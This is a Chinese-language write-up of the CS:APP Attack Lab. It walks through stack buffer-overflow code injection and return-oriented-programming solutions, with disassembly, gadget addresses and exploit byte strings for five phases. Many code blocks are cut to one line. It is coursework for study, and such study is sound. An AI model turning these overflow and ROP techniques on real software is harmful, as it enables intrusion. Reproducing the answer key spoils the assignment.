Attack Lab缓冲区溢出攻击。
本次实验涉及《深入理解计算机系统》一书的3.10小节,其说明文档参看这里。
代码注入(Code Injection)
1 | unsigned getbuf() |
任务一
任务描述:当函数getbuf返回后,让ctarget执行函数touch1,而不是继续执行函数test。
1 | void touch1() |
- 首先,查看函数getbuf的汇编代码:
1 | (gdb) disas getbuf |
在栈上分配了0x28=40个字节。
- 然后,再查看函数touch1的汇编代码:
1 | (gdb) disas touch1 |
touch1的起始地址为:0x00000000004017c0。因此,只需要使用该地址覆盖函数getbuf的返回地址,在执行完getbuf后,函数touch1就会被调用。
在Attack Lab的说明文档中,有如下说明:
HEX2RAW expects two-digit hex values separated by one or more white spaces. So if you want to create a byte with a hex value of 0, you need to write it as 00. To create the word 0xdeadbeef you should pass “ef be ad de” to HEX2RAW (note the reversal required for little-endian byte ordering).
little-endian字节序要求:低位字节排放在内存的低地址端,高位字节排放在内存的高地址端。
因此,构造如下字符串填充栈(前4行可以使用任意字符,这里采用了00):
1 | 00 00 00 00 00 00 00 00 |
最后,使用本实验提供的hex2raw生成最终的攻击字符串,并执行代码注入:
1 | ./hex2raw -i solution/phase1_solution.txt | ./ctarget -q |
hex2raw -i
表示从文件中读取字符串ctarget -q
表示不向远程服务器发送结果
任务二
任务描述:当函数getbuf返回后,让ctarget执行函数touch2,而不是继续执行函数test。
1 | void touch2(unsigned val) |
说明文档中给出的建议如下:
You will want to position a byte representation of the address of your injected code in such a way that ret instruction at the end of the code for getbuf will transfer control to it.
Recall that the first argument to a function is passed in register %rdi.
- Your injected code should set the register to your cookie, and then use a ret instruction to transfer control to the first instruction in touch2.
函数touch2的汇编代码如下:
1 | (gdb) disas touch2 |
与函数touch1相比,touch2多了一个参数val,并且其值必须等于cookie。cookie的值为:
1 | [hegongshan@hgs attacklab-handout]$ cat cookie.txt |
因此,可以写出如下的汇编代码:
1 | mov $0x59b997fa,%rdi # cookie值作为入参,存入寄存器%rdi中 |
接着,将上述汇编代码转换为机器代码:
1 | [hegongshan@hgs solutions]$ gcc -c phase2.s |
因此,对应的字节序列为:
1 | 48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 |
而栈顶地址为:0x5561dc78
。因此,最终的输入字符串为:
1 | 48 c7 c7 fa 97 b9 59 68 |
任务三
任务描述:当函数getbuf返回后,让ctarget执行函数touch3,而不是继续执行函数test。
1 | /* Compare string to hex represention of unsigned value */ |
与任务二的区别在于,函数touch3的入参是一个字符串指针。
建议一:You will need to include a string representation of your cookie in your exploit string. The string should consist of the eight hexadecimal digits (ordered from most to least significant) without a leading “0x.”
根据建议一可知,需要将cookie值(59b997fa
)转换为十六进制,然后按照从高位到低位的顺序排列,且不包含前缀0x。
建议二:Recall that a string is represented in C as a sequence of bytes followed by a byte with value 0. Type “man ascii” on any Linux machine to see the byte representations of the characters you need.
使用man ascii
命令,可以得到字符串59b997fa
的十六进制表示:
1 | 59b997fa => 35 39 62 39 39 37 66 61 |
在C语言中,字符串需要在末尾补上结束符'\0'
,其对应的十六进制形式为0x00
。因此,字符串的完整表示为:
1 | 35 39 62 39 39 37 66 61 00 |
建议三:Your injected code should set register %rdi to the address of this string.
根据建议三可知,必须将寄存器%rdi的值设置为上述字符串的地址。
建议四:When functions hexmatch and strncmp are called, they push data onto the stack, overwriting portions of memory that held the buffer used by getbuf. As a result, you will need to be careful where you place the string representation of your cookie.
根据建议四可知,当函数hexmatch和strncmp被调用时,getbuf使用的缓冲区会被重写。因此,不能将字符串存放在getbuf的缓冲区中。可以把其存放在test的栈帧中。
getbuf的栈顶地址为0x5561dc78
,
getbuf的缓冲区在栈中占了40个字节,随后其返回地址又占了8个字节,共计48=0x30个字节。
1 | 0x5561dc78 + 0x30 = 0x5561dca8 |
因此,可以将cookie值存放在地址0x5561dca8
中。
1 | (gdb) disas touch3 |
从上述汇编代码可知,函数touch3的起始地址为:0x00000000004018fa
。
因此,攻击代码为:
1 | mov $0x5561dca8, %rdi |
通过汇编和反汇编,可以得到上述代码对应的字节序列(机器码):
1 | [hegongshan@hgs solutions]$ gcc -c phase3.s |
因此,最终的攻击字符串为:
1 | 48 c7 c7 a8 dc 61 55 68 |
面向返回编程(Return-Oriented Programming,ROP)
ROP的策略是从现有的程序代码找出这样的字节序列:它可以构成一个或多个指令,且紧随其后的就是指令ret。这种片段被称为gadget。
任务四
任务描述:使用ROP攻击完成任务二,当函数getbuf返回后,让rtarget执行函数touch2,而不是继续执行函数test。
使用movq、popq、ret(对应的编码为0xc3)以及nop(对应的编码为0x90,仅使程序计数器加1)四种指令的gadget凑出攻击字符串。
只能使用前8个x86-64寄存器,即%rax~%rdi
建议:
需要的gadget可以从start_farm到mid_farm之间的函数中找到,
只需要两个gadget就可以凑出攻击字符串
从start_farm到mid_farm的汇编代码如下:
1 | getval_142: |
根据Writeup给出的编码表可知,在上述代码中,可以使用的字节序列(已使用中括号标出)有:
58
:对应指令popq %rax
;90
:对应指令nop
c3
:对应指令ret
48 89 c7
:对应指令movq %rax, %rdi
。
思路:将cookie值存放在寄存器%rax中,然后将再将%rax中的值复制到%rdi中,作为touch2的入参。汇编代码如下:
1 | popq %rax |
- 先看
popq %rax
,根据Writeup给出的编码表,可知其对应的字节序列为:
1 | popq %rax => 58 |
58
共出现了三次,地址分别为4019ab
、4019b9
以及4019cc
:
1 | addval_219: |
在setval_424中,58和c3中间的字节序列为92,既不是代表nop指令的90,也不是代表ret指令的c3,故舍弃。
因此,可选的地址有4019ab
和4019cc
。
- 再来看
movq %rax, %rdi
,其对应的字节序列为:
1 | movq %rax, %rdi => 48 89 c7 |
48 89 c7
也出现了三次,地址分别为4019a2
、4019b0
以及4019c5
:
1 | addval_273: |
在setval_237中,48 89 c7
和c3中间的字节序列为c7,既不是代表nop指令的90,也不是代表ret指令的c3,故舍弃。
从而,可选地址有4019a2
和4019c5
。
因此,最终的攻击字符串为:
1 | 00 00 00 00 00 00 00 00 |
任务五
任务描述:使用ROP攻击完成任务三。允许使用从start_farm到end_farm的所有函数。
建议:标准答案需要8个gadget(有重复)。
从start_farm到mid_farm之间的汇编代码在任务四中已经给出,这里不再赘述。
从mid_farm到end_farm之间的汇编代码如下:
1 | add_xy: |
据Writeup给出的编码表可知,在start_farm到end_farm中,可以使用的字节序列(使用中括号标出)有:
1 | # 省略了ret、nop以及functional nop指令 |
思路:栈的位置是随机的,无法直接得到cookie的起始地址,但可以使用栈顶地址加上偏移量来确定cookie的起始地址。
注意到,在函数add_xy:
1 | add_xy: |
指令leaq (%rdi,%rsi), %rax
先将%rdi和%rsi的值相加,再将结果存入%rax中。这正好对应了栈顶地址+偏移量,即将栈顶地址存入%rdi中,将地址偏移量存入%rsi中。
根据前面得出的、本次实验能够使用的gadget,可以写出如下的汇编代码(省略了所有的ret指令):
1 | # 将栈顶地址存入%rdi中 |
下面,逐一分析这8个gadget:
1.movq %rsp, %rax
对应的字节序列为48 89 e0
,共出现了6次:
1 | addval_190: |
只有addval_190和setval_350中的字节序列可以使用,起始地址分别为401a06
和401aad
。
2.movq %rax, %rdi
对应的字节序列为48 89 e0
,共出现了3次:
1 | addval_273: |
其中,只有addval_273和setval_426中的字节序列可以使用,起始地址分别为4019a2
和4019c5
。
3.popq %rax
对应的字节序列为58
,共出现了3次:
1 | addval_219: |
其中,只有addval_219和getval_280中的字节序列可以使用,起始地址分别为4019ab
和4019cc
。
4.movl %eax, %edx
对应的字节序列为89 c2
,共出现了次:
1 | getval_481: |
其中,只有getval__481和addval_487中的字节序列可以使用,起始地址分别为4019dd
和401a42
。
5.movl %edx, %ecx
对应的字节序列为89 d1
,共出现了4次:
1 | getval_226: |
其中,只有getval_159和getval_311中的字节序列可以使用,起始地址分别为401a34
和401a69
。
6.movl %ecx, %esi
对应的字节序列为89 ce
,共出现了4次:
1 | addval_113: |
其中,只有addval_436和addval_187中的字节序列可以使用,起始地址分别为401a13
和401a27
。
7.leaq (%rdi,%rsi), %rax
出现在函数add_xy中:
1 | add_xy: |
其起始地址为4019d6
。
8.movq %rax, %rdi
与第二步相同,可以使用addval_273和setval_426中的字节序列,起始地址分别为4019a2
和4019c5
。
综上所述,我们可以得出最终的攻击字符串:
1 | 00 00 00 00 00 00 00 00 |